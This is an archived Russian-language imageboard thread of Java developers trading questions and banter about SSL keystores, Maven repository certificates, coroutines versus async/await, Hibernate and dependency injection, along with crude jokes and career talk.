944 2258591
>>258584
Команда из нескольких джунов и одного тимлида.

А с другой стороны, в чем тупость бывших заводчан?
945 2258602
>>258591
В том что их наняли как синьоров, а они кроме крудов ничего не писали никогда. Можешь представить, сколько приходится с каждым сидеть, когда надо сделать чтото за рамками рест апи и похода в базу..
946 2258612
>>258602
А вы на жабе что-то кроме крудов пишете? Что именно, если не секрет, хотя бы в общих чертах?
ИМХО, возьми любого джависта с опытом и пусть даже высшим образованием, то он вряд ли кроме крудов и походов в базу что-то сумеет сделать.

>>258602

>их наняли как синьоров


Сбер что-ли?
947 2258676
>>258612
Не банки. В двух словах: парсим интернет, инфу продаем.
Я заметил, что толковые джависты нынче лидами сидят многие из, что я знаю. Либо ушли в другие языки, чтобы поинтереснее задачи решать
948 2258701
Как писать тесты для проекта который сам по себе является REPL-интерпретатором, требующим пользовательского ввода (через System.in, например)?
949 2258702
>>258701
System.in = new FileInputStream("zalupa.txt")
.png39 Кб, 756x441
950 2258704
Здравствуй, джавач! Пора строить в экселе график постов в день за последние пять тредов.
951 2258705
>>258676

>Либо ушли в другие языки, чтобы поинтереснее задачи решать


В гоуленг что-ли? Или даже в С++?
952 2258707
>>258701
Скармливать ему данные напрямую без пользовательского ввода?
953 2258709
>>258702
Спасибо, а что так можно было?
954 2258730
>>258709
Не знаю, попробуй и скажи. Вообще-то по хорошему твой репл должен принимать инпут стрим в качестве параметра.
955 2258737
>>258730
Ок, попробую, спасибо.
956 2258812
Help! SSL-нуб ITT

Короче, нужно сделать keystore.jks. Мне выдали сертификат, а именно файлы:

certificate.crt (x509 pem)
certificate_ca.crt
certificate.der
certificate_request.csr
certificate.p7b

Далее, я пытаюсь по гайдам из интернета сконвертировать сертификат в формат pkcs12 командой:

openssl pkcs12 -export -in certificate.crt -inkey <???> -out certificate.p12 -name "certificate"

Вот там вместо <???> нужен приватный ключ? Где его взять? Сгенерить самому из чего-то?

Можно как-то быстро решить или я тупой дебил и надо по-любому идти курить матчасть по SSL с самых основ?
957 2258835
>>258812
Ты хочешь сделать самоподписанный сертификат или просто засунуть его в кейстрок?
958 2258839
>>258835

> самоподписанный


Нет, у меня вот как раз эти файлы что я привел уже есть. Я их получил from somewhere, но приватного ключа я среди них не нашел. Толи я тупой и все перепутал.

Так что да, сгенерить jks и засунуть в него.

Когда получал сертификаты с Let's encrypt, там были файлы cert.pem и privatekey.pem, и с ними у меня таки получилось разобраться. А вот с текущими файлами хз что делать.
959 2258889
>>258812
Зачем ты пытаешься что-то сгенерировать? crt файл разве не импортируется в кейстор?
960 2258961
>>232310
Что за мейл листы?
961 2259079
>>258839
Вот в этом гайде https://www.baeldung.com/convert-pem-to-jks было сказано конвертировать сначала в PKCS12.
962 2259080
963 2259132
Куда годную шапку то проебали?!
964 2259332
>>259079
Приватный ключ тебе никто не даст по очевидным причинам. На второй мой вопрос ты не ответил (про crt), попробуй мб это https://stackoverflow.com/questions/57453154/how-to-add-crt-file-to-keystore-and-trust-store
965 2259348
>>259132
При том, что нормальных IDE для Java толком нет.
966 2259349
>>259332
Ок, сейчас попробую, спасибо.
967 2259380
>>259348
Согласен, спасает только Vim с плагинами
968 2259392
>>258961
https://mail.openjdk.java.net/pipermail/loom-dev/

Еще можно пощупать лум в превью билдах, но они увы все еще не стабильны для работы в проде.

Вроде как работа идет на протяжении 4 лет, лол, надеюсь через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS версию. Вообще интересно, где-нибудь кроме Go появились зеленые потоки за это время?
969 2259399
>>259392

> где-нибудь кроме Go появились зеленые потоки за это время?


В остальных языках привыкли к ебле с async/await.
970 2259402
>>259392

>через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS


К этому времени никто уже на джаве писать не будет
971 2259403
Пиздец как хочется написать свой DI-контейнер на процессорах аннотаций, чтобы строить граф зависимостей сразу в компайл тайме, но времени вообще нет. Может кто-то хочет присоединится?
972 2259407
>>259403
Так давно написан уже. Dagger 2 называется
973 2259408
>>259402
Два года назад ты говорил то же самое, но не сбылось, так что к тебе больше нет доверия.
974 2259415
>>259407
Там хуйни какой-то напридумывали, так что он очень сложный.
975 2259416
>>259415
Как раз его сложность вытекает из-за требования строить граф зависимостей в рантайме
976 2259422
>>259402
А на чем будут писать?
977 2259425
>>259422
На расте
978 2259426
>>259422
На макакаскрипте.
979 2259427
>>259416
Я с ним не работал, так что могу чего-то не понимать, но там как будто бы слишком много аннотаций под специфичные случаи. В итоге ментальная модель получается куда сложнее, чем у спринга (ванильного). Может я ошибаюсь, и это мнение у меня сложилось из-за наличия опыта на спринге. Но в общем мне бы хотелось что-то более простое сделать.
980 2259429
>>259422
На китайском.
981 2259431
>>259399
В чем вообще разница между зелеными потоками в Го, корутинами в котлине и async await в шарпе?
VngOu2O5FXA.png60 Кб, 796x726
982 2259588
Как теперь юзать logback?
На пикрил последняя версия, красным видно что есть vulnerabilities from dependencies. Это ОК или такое нельзя юзать?
983 2259603
>>259588
Лол, че эт они там напридумывали?
984 2259655
Ни один местный логгерошизик без гугления не пояснит, чем их говно лучше java.util.logging.
985 2259752
>>259403
А хотя похуй, уже написали.
https://github.com/MichaelRocks/lightsaber
986 2259764
Please help, SSL-нуб на связи.
Задача: сделать maven репозиторий, доступный для всех из интернета.

Поднял по общедоступному URL-у self-hosted maven repository с поддержкой SSL. Сертификат от Let's Encrypt.

У репозитория есть фронтенд, который отлично работает через браузер по HTTPS.
Но mvn-клиент с этим репозиторием работать не хочет. В pom.xml прописан URL репозитория c https:// и при попытке подтянуть зависимость, падает с ошибкой:

PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

Я знаю, что можно указать для mvn-клиента keystore.jks, но неужели это единственный способ заставить его поверить серверному сертификату от Let's Encrypt?

P.S. Между прочим, даже сайт maven.apache.org имеет сертификат от Let's Encrypt.
987 2259777
>>259764

>сделать maven репозиторий, доступный для всех из интернета.


нахуя
988 2259786
>>259431
Асинк/эвейт чисто синтаксическая конструкция, которая заменяет еблю с CompletableFuture.get()/accept()/apply() и прочее на читаемый синтаксис и пробросом ошибок. Но не предполагает и не исключает использование корутин (об этом ниже).
В го такого нет, там синтаксис асинков можно сделать через каналы, но это уродливый костыль, как и всё в го. В котлине это suspend функции.

Зелёные/виртуальные треды/корутины это не треды, а некоторая минимальная инфа о контексте выполнения, которая стоит в очереди чтобы выполниться на реальном потоке. В го и котлине это M:N модель, которая в общем сводится что рабочих потоков у тебя сколько и ядер. Только в го этим управляет виртуальная машина, а в котлине реализовано на уровне библиотеки. Из-за того что корутины всегда двигаются по стеку рабочего потока, а не аллоцируют свой собственный их можно создавать миллионами без особой просадки по памяти. Из-за того что корутины это не системные потоки, ос не нужно впустую выделять им кванты времени и переключать контексты, что положительно влияет на ос в целом. Но.
Из-за того что корутины полагаются на ограниченный пул рабочих потоков, корутина с cpu consume задачей (цикл из миллиардов элементов, например) тупо затормозит очередь других корутин, даже если им нужно просто сложить 2+2 они будут ждать пока первая корутина завершит свою задачу. Потоки в таком сценарии выполнялись бы без тормозов (ос бы всем выделила поровну времени).
Профит корутин будет заметен при огромном количестве блокирующих операций (http запросы, например).

Асинк/эвейт с точки зрения синтаксиса критикуют, потому что он требует помечтать всю цепочку функций асинхронной (red blue functions). Хотя с другой стороны это явный знак что вызываемый код это корутина, значит код может вернуть управление уже в другом рабочем потоке, а это в некоторых сценариях причина задуматься о синхронизации. Плюс это даёт возможность запустить корутину от которой не требуется результат, и продолжить выполнять текущий код без остановки. В общем это всё даёт выбор и корутины и асинк/эвейт должны дополнять друг друга.
988 2259786
>>259431
Асинк/эвейт чисто синтаксическая конструкция, которая заменяет еблю с CompletableFuture.get()/accept()/apply() и прочее на читаемый синтаксис и пробросом ошибок. Но не предполагает и не исключает использование корутин (об этом ниже).
В го такого нет, там синтаксис асинков можно сделать через каналы, но это уродливый костыль, как и всё в го. В котлине это suspend функции.

Зелёные/виртуальные треды/корутины это не треды, а некоторая минимальная инфа о контексте выполнения, которая стоит в очереди чтобы выполниться на реальном потоке. В го и котлине это M:N модель, которая в общем сводится что рабочих потоков у тебя сколько и ядер. Только в го этим управляет виртуальная машина, а в котлине реализовано на уровне библиотеки. Из-за того что корутины всегда двигаются по стеку рабочего потока, а не аллоцируют свой собственный их можно создавать миллионами без особой просадки по памяти. Из-за того что корутины это не системные потоки, ос не нужно впустую выделять им кванты времени и переключать контексты, что положительно влияет на ос в целом. Но.
Из-за того что корутины полагаются на ограниченный пул рабочих потоков, корутина с cpu consume задачей (цикл из миллиардов элементов, например) тупо затормозит очередь других корутин, даже если им нужно просто сложить 2+2 они будут ждать пока первая корутина завершит свою задачу. Потоки в таком сценарии выполнялись бы без тормозов (ос бы всем выделила поровну времени).
Профит корутин будет заметен при огромном количестве блокирующих операций (http запросы, например).

Асинк/эвейт с точки зрения синтаксиса критикуют, потому что он требует помечтать всю цепочку функций асинхронной (red blue functions). Хотя с другой стороны это явный знак что вызываемый код это корутина, значит код может вернуть управление уже в другом рабочем потоке, а это в некоторых сценариях причина задуматься о синхронизации. Плюс это даёт возможность запустить корутину от которой не требуется результат, и продолжить выполнять текущий код без остановки. В общем это всё даёт выбор и корутины и асинк/эвейт должны дополнять друг друга.
989 2259790
>>259764
Пишут, что с последними версиями должна поддерживать ISRG Root X1 https://letsencrypt.org/docs/certificate-compatibility/
У тебя в сертификате кто рут? Ну и самую распоследнюю жаву поставь.
991 2259793
>>259790
>>259791

Получилось, спасибо! Суть моей проблемы была один в один как у этого чела со stackoverflow.

>>259777
Чтоб можно было публиковать свои зависимости отдельно от Maven Central.
992 2259795
>>259793

>Чтоб можно было публиковать свои зависимости отдельно от Maven Central.


Может быть тебе хватило бы https://jitpack.io/?
993 2259798
>>259795
Для текущей задачи не подходит, т.к. проекты не на GitHub, а на self-hosted git server, но штука, видимо, крутая.
Можно в качестве зависимости прямо ссылку на проект в GitHub указывать что ли?
994 2259799
>>259798
На релиз в гитхабе, да. Self-hosted тоже поддерживаются, насколько я понял https://jitpack.io/docs/#other-git-hosts.
995 2259802
>>259799

> Self-hosted Git servers like GitLab are also supported. You can register your server on your user page.


Реально. Круто, спасибо, возьму на заметку.

У меня железный сервер в виде старого ноута прямо дома стоит и смотрит в интернет, и я его люблю. Правда если он вдруг накроется - всему капец
996 2260145
привет всем. 8 издание шилдта актуально?
997 2260268
>>260145
Нет, актуальны только те, где рассказывают про 8 жабу.
998 2260357
>>260268
Уже 17 жава вышла лтс
999 2260376
>>260357
Не знал. Гору фич добавили небось
1000 2260387
>>260357
Да ну нахуй блять? Скажи плиз это кабанчикам, а то они все уверены, что после 8 жабы и 4 спринга ничего нет.
1001 2260400
>>260387
Почему именно 8? Я заметил, что во многих ОС по-умолчанию ставится 11 версия (ставил виртуалки с чистых образов и там уже была жвм). В скором времени заменят на 17.
1002 2260420
https://log4jmemes.com/
Ебало апачей представили?
1003 2260538
Есть какой нибудь годный роадмап по изучению шестого спринга? Может курсы есть хорошие или книги?
1004 2260541
>>260538
Ебанулся?
1005 2260565
>>260538
Есть. Открываешь документацию и читаешь от корки до корки
1006 2260586
>>260420
вот бы про жабу такой же
1007 2260591
>>259786
А что насчет неблокирующего доступа к базе данных? Я так понимаю, что все общение через JDBC блокирует поток, пока данные достаются из недр таблиц и пересылаются через сокеты.
Сейчас есть нормальный способ писать неблокирующую работу с базами данных? Слышал про R2DBC, но он то ли умер, то ли заглох, то ли еще не готов к проду. Так ли это? И почему в JDBC до сих пор не сделали асинхронного доступа к БД, хотя во всяких фреймворках на node.js он уже давно есть?
sage 1008 2260619
>>260591
Есть драйвера от vert.x и даже реактивный хибер. Но там есть свои проблемы
1009 2260779
Кто-нить работал с Hibernate? Есть две таблицы, связь many to many, грубо говоря таблица записей и таблица ее тегов. Нужно как-то вставлять запись с тегами, но при вставке записи, у которой уже есть ранее записанный тег, происходит ошибка, из-за того, что вставляется дубликат. Можно как избежать этого?
1010 2260970
>>260779
Ничего не понял. Звучит как-будто ты пытаешься нарушить какой-то констрейнт в бд, поэтому тебе и не даёт вставить
1011 2261011
бля че hyperskill так долго все грузит
1012 2261049
>>260779

>Можно как избежать этого?


А зачем тебе дубликаты тегов вставлять? Просто не вставляй их и все.
1013 2261075
Обязательно ли вообще этот спринг учить? Помню в универе мы писали сетевые программки без всяких библиотек. Мне даже автомат поставили за лабу со звездочкой.
1014 2261079
>>261075

> сетевые программки без всяких библиотек


Очевидно, что сами сторонние либы как-то написали, и у их авторов не было ничего кроме кора. Но ты же не будешь каждый раз с нуля писать велосипед? Вот и кабан за велосипеды платить не станет.
1015 2261087
>>261079

>Вот и кабан за велосипеды платить не станет.


Гоферам платят же.
1016 2261088
>>261087
Жаба не го, здесь фичи пилить надо, а не экспериментировать ради мифических преимушеств в далёком будущем.
1017 2261184
https://habr.com/ru/post/599845/
Ну теперь везде будут искать подобные уязвимости. В конечном итоге придет к тому, что JNDI и RMI - сами по себе уязвимости.
1018 2261237
>>261184

> В конечном итоге придет к тому, что java и jvm - сами по себе уязвимости.


always has been
1019 2261258
>>261184
Теперь все java-программисты останутся без работы? Куда перекатываться? В Шарп?
1020 2261265
>>261258
Да, всех джава-программистов выгонят с работы за плохие решения. Пойдем на го писать ArrayList-ы и CollectionUtils-ы
1021 2261302
>>261258
Очевидный го, хотя бы мозги встанут на место.
1022 2261328
>>261302
Они окончательно атрофируются из-за постоянного занятия копипастой.
image.png65 Кб, 498x265
1023 2261366
>>261302

>Очевидный го, хотя бы мозги встанут на место.

1024 2261595
Почему в ChangeSet-ах порядок задается строкой и зачем там имя автора?
1025 2261642
>>261595

> Почему в ChangeSet-ах порядок задается строкой


Чтобы были гибкие механизмы наименования и порядка выполнения

> зачем там имя автора?


Чтобы знать к кому обратиться в случае вопросов по ченджсету
1026 2261651
Анон подскажи пожалуйста. Смотри , есть строка . Например : A -> A -> B ->A , A->B->A, A . Мне нужно ее разделить на три строки. Разделителем служит запятая. Я знаю что можно пройтись по строке как по массиву и копировать символы в массив чаров , пока не дойдем до запятой. Но можно ли эту задачу как то через регулярные выражения решить.
1027 2261658
>>261651
Можно решить библиотечным методом String#split(regex)
1028 2261702
>>261642

>Чтобы знать к кому обратиться в случае вопросов по ченджсету


По-моему это какая-то надуманная хуйня в тырпрайзной разработке, нет?
1029 2261705
>>261702
Конечно надуманная. Сейчас для этого все юзают git blame.
1030 2261743
>>261702
Ну если ты петпроект разрабатываешь, то да, неактуально. В других случаях очень актуально, при чём тут git blame? Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся. Ты будешь лезть в код и смотреть кто ченджсет написал? Ага, конечно
1031 2261841
Такой вопрос:
Если есть класс "A" и "B extends A", и в родителе (А) определен какой-то член value, то как (с точки зрения перформанса) лучше делать конструкторы? Есть вариант в классе "B" сразу сделать конструктор, который принимает все значения его полей, включая наследуемое, оставив при этом в "А" только пустой конструктор, либо лучше в "А" реализовать свой конструктор, и вызывать его через super(value) в конструкторе B?
Вроде как, второй вариант дб получше, типа в любом случае же неявно вызовется путой, и все инициализирует нулями/нулами, и только потом перепишет. Но все же хотелось бы убедиться.
Вызовов планируется оче много, потому хотелось бы оптимально
1032 2261843
>>261841
Хороший вопрос, прогони тесты через JMH, плюс кидай сюда байткод обоих вариантов, узнаем всем тредом что-то новое
1033 2261855
>>261841
Если твой сетер это тупо присваивание к полю и больше ничего, то без разницы, иначе смотри на логику твоего сетера. Но при инициализации через конструктор можно сделать поля финальными, это слегка оптимизирует работу gc, но в пределах погрешности вряд ли будет хоть какой то вообще профит.
1034 2261920
>>261841
Конструктор это просто метод, он точно так же может инлайниться JIT-ом если он маленький.

Но в целом вопрос выглядит немного диковато. Если у тебя создается так много объектов и тебе беспокоит перфоманс - то стоит подумать или о пулинге объектов или о том, чтобы заменить объект на примитивные типы. Потому что GC на весь этот мусор - сожрет весь перформанс.
1035 2262003
>>259132
Нетбинс так долго грузит что ли? Я пару раз пробовал, вроде нормально загружался. Там проблема, что он неудобный и надо настраивать после установки.
1036 2262056
>>261743

>Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся


Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?
1037 2262067
>>262003
Этой пикче 10 лет. Есть обновленная версия, там всё на своих местах.
1038 2262080
>>262056

>Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?


По сообщению об ошибке.
1039 2262117
А вы смотрите Лёшу Корепанова?
1040 2262119
>>262117
Твой протыкласник?
1041 2262120
>>262119
Нет, у него уже 20 лет опыта разработки на Java
1042 2262127
>>262120
https://github.com/alexkorep?before=Y3Vyc29yOnYyOpK5MjAxNy0wOS0xMVQwNzoxNzozMiswMzowMM4GGTSO&tab=repositories
выглядит, как говно. На жабе только андроид. Который должен быть на котле.
1043 2262193
>>262127
С чего это он должен быть на Котлине!? На джаве уже много лет пишут проги под андроид и будут писать. Ей принадлежит 99% всей мобильной разработки.
1044 2262326
посоветуйте вкатышу простенькие консольные проекты. куда не смотрю - везде одни хуйни с интерфейсами, но мне кажется, что рано делать с интерфейсами, надо сначала разобраться без них как все работает
javapixel.jpg119 Кб, 762x655
1045 2262327
Я научился выводить пиксели на экран!
1046 2262328
>>262117
да, пиздатые видео снимает
1047 2262330
>>262326
Строчный текстовый редактор
1048 2262339
>>262193
С подключением.
1049 2262361
>>262327
Извиняюсь за вопрос, но нахуя?
1050 2262377
>>262327
Класс! Не думал о карьере игрового разработчика?
1051 2262390
>>262067

>всё на своих местах.



Надеюсь петухи на месте хоть?
1052 2262548
>>262361
>>262377
Нет, я буду писать эмулятор старых 8-битных ЭВМ.
1053 2262551
>>262548
Опять выходишь на связь?
1054 2262610
>>262548
Это не тебе беззнаковый байт нужен был? Чому не возьмешь байтоёбский язык?
1055 2262650
>>262551
>>262610
Как вы меня так быстро раскусили?
Мне нужна кроссплатформа, что бы всё работала на винде и в линупсе. Я думал в ноябре выпустят MAUI для дотнета, но микрософты обманули. Поэтому сейчас учу джаву.
1056 2262664
>>262650
Kotlin Native бери, чушка. Там беззнаковые типы даже есть.
1057 2262674
>>262650
Не знаю что из себя представляет эмулятор эвм, но удачи тебе.
1059 2262757
>>262548
Охуенно актуальная штука!
1060 2262762
Зачем так рано тред перекатили? До двух тысяч постов давайте здесь писать, а потом в новый уйдем, если его еще не потрут к тому моменту.
1061 2262797
>>262664
А UI на SDL ебошить! Отличный план!
1062 2264227
>>262650

>MAUI для дотнета, но микрософты обманули



Если я все помню, то там официальной поддержки линукса не было. Только винда, мобилки и макось. А линукс "поддержка на уровне коммьюнити", то есть никакой. Gtk# и какие-то формочки в Mono есть - вот и жрите, хуле не нравится.
А я сам хотел на шарпе пописать под линукс десктоп, потому что на шарпе гораздо приятнее писать, чем на том же С++ под Qt.
В итоге приходится писать на старом, древнем, помойном легасном Swing/AWT.
1063 2264293
>>264227

> старом, древнем, помойном легасном Swing/AWT.


Так пиши на новом, молодежном, инновационном JavaFX.
1064 2264316
>>264293
Он умер.
1065 2264326
>>264316
Чому? Живее свинга в любом случае. В сентябре последний релиз был, а репа каждый день обновляется.
1066 2264386
>>264326
Все равно популярность у свинга значительно больше. Всяких туториалов и либ для свинга больше. Да и он в jdk и jre есть, не нужно дополнительные жарники за собой возить.
Вообще, надеюсь и свинг выпилят к 2025 году в отдельную библиотеку.
1067 2264606
Такой вопрос пацаны. Касается веб разработки. Я уже год кожу на джаве , есть пару проектов на спринге. Есть друг фронтендер , с которым проекты пилил , советует мне перекатиться на питон. Суть в том что я как бы не хочу , мне нравится джава. Есть ли у питона и его фрэймворков реальные преимущества что бы учиться писать бэк на нем ? Ну и объективно что лучше/хуже.
1068 2268100
Отображать в квери параметрах русские слова нормально? Типа ?name=фу%20бар%20биз
1069 2269263
Аноны,как лучше хранить коллекции в дтошках? И как заполнять? Тупо передавать лист с айдишниками? Как тогда потом получать реальные объекты?
1070 2269408
>>269263
Анон, дтошка на то и дтошка, что она хранит временно и сейчас хоть ты из бд бери, хоть из инета jsonом получай - все автоматически маппится с помощью библиотек типо jackson. Ну если совсем пиздец типо jdbcTemplate - ручками перегоняешь rowSet в дтошку и нужные тебе коллекции.

Конечно можно и только id хранить, а потом с помощью сложного запроса доставать определенный объект, но это два запроса и это как по мне хуйня идея.
1071 2269828
Народ,как график зп в базе хранить?А в коде? Чет мне кажется это совсем какая-то хуйня получится
1072 2271110
>>260779
Делать апдейт, а не вставку
покажи что пытаешься сделать
1073 2271130
Ваадин кусок говна ебучего,даже из коробки хуй запуститься может
1074 2272405
>>264606
На питоне в разы больше манки джоб
1075 2287522
Сап двачек, я инфантильный кусок говна, но вроде не тупой окончил бамонку, да и с математикой вроде не плохо, работаю на манагерской должности в кулл центре. Сутра на работу опять пиздос труд облагораживает человека и другие вытекающие из жопы. Так вот, хотел вкатиться в прогеры есть такая пожилая креветка как Сергей Немчинский, у него есть курс, деньги у меня есть немного не мало, стоит ли туда вписаться ? И с чего можно начать ? Помогите плз, либо дайте ссылочку на тред где и как для тупых ебланов все объясняется. Сам на дваче не давно, хз что да как.

P.S Знаю двач все хуесосят за токсичность, но на мой взгляд по сравнению с выродками из тг каналов всяких всратых прогерских форумах и вк скотов тут не так уж и плохо, помогите плз.
1076 2295871
>>287522
пиши в новый тред
1077 2307505
Тут есть люди которые работали со спрингом и со спарком? Что по вашему мнению интереснее и перспективнее? Заметил что многие перекатываются в бигдату со сприга, даже тот самый Борисов.
девушка-gamer-играя-с-компьютером-55009120.jpg50 Кб, 800x533
1078 2317729
Сап двуч, помогите столкнулся с такой проблемой:

Когда кидаю исключение expected. у меня подсвечивается красным expected и пишет can't resolve method . Как решить проблему?
@Test( expected = IndexOutOfBoundsException.class)
public void testFooThrowsIndexOutOfBoundsException() {
foo.doStuff();
}
PS: Intellij IDEA.
1079 2398622
пишу в до-СВО треде времен, когда по джаве было больше 5к вакансий на хх.ру......
Тред утонул или удален.
Это копия, сохраненная 11 июля 2022 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /pr/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски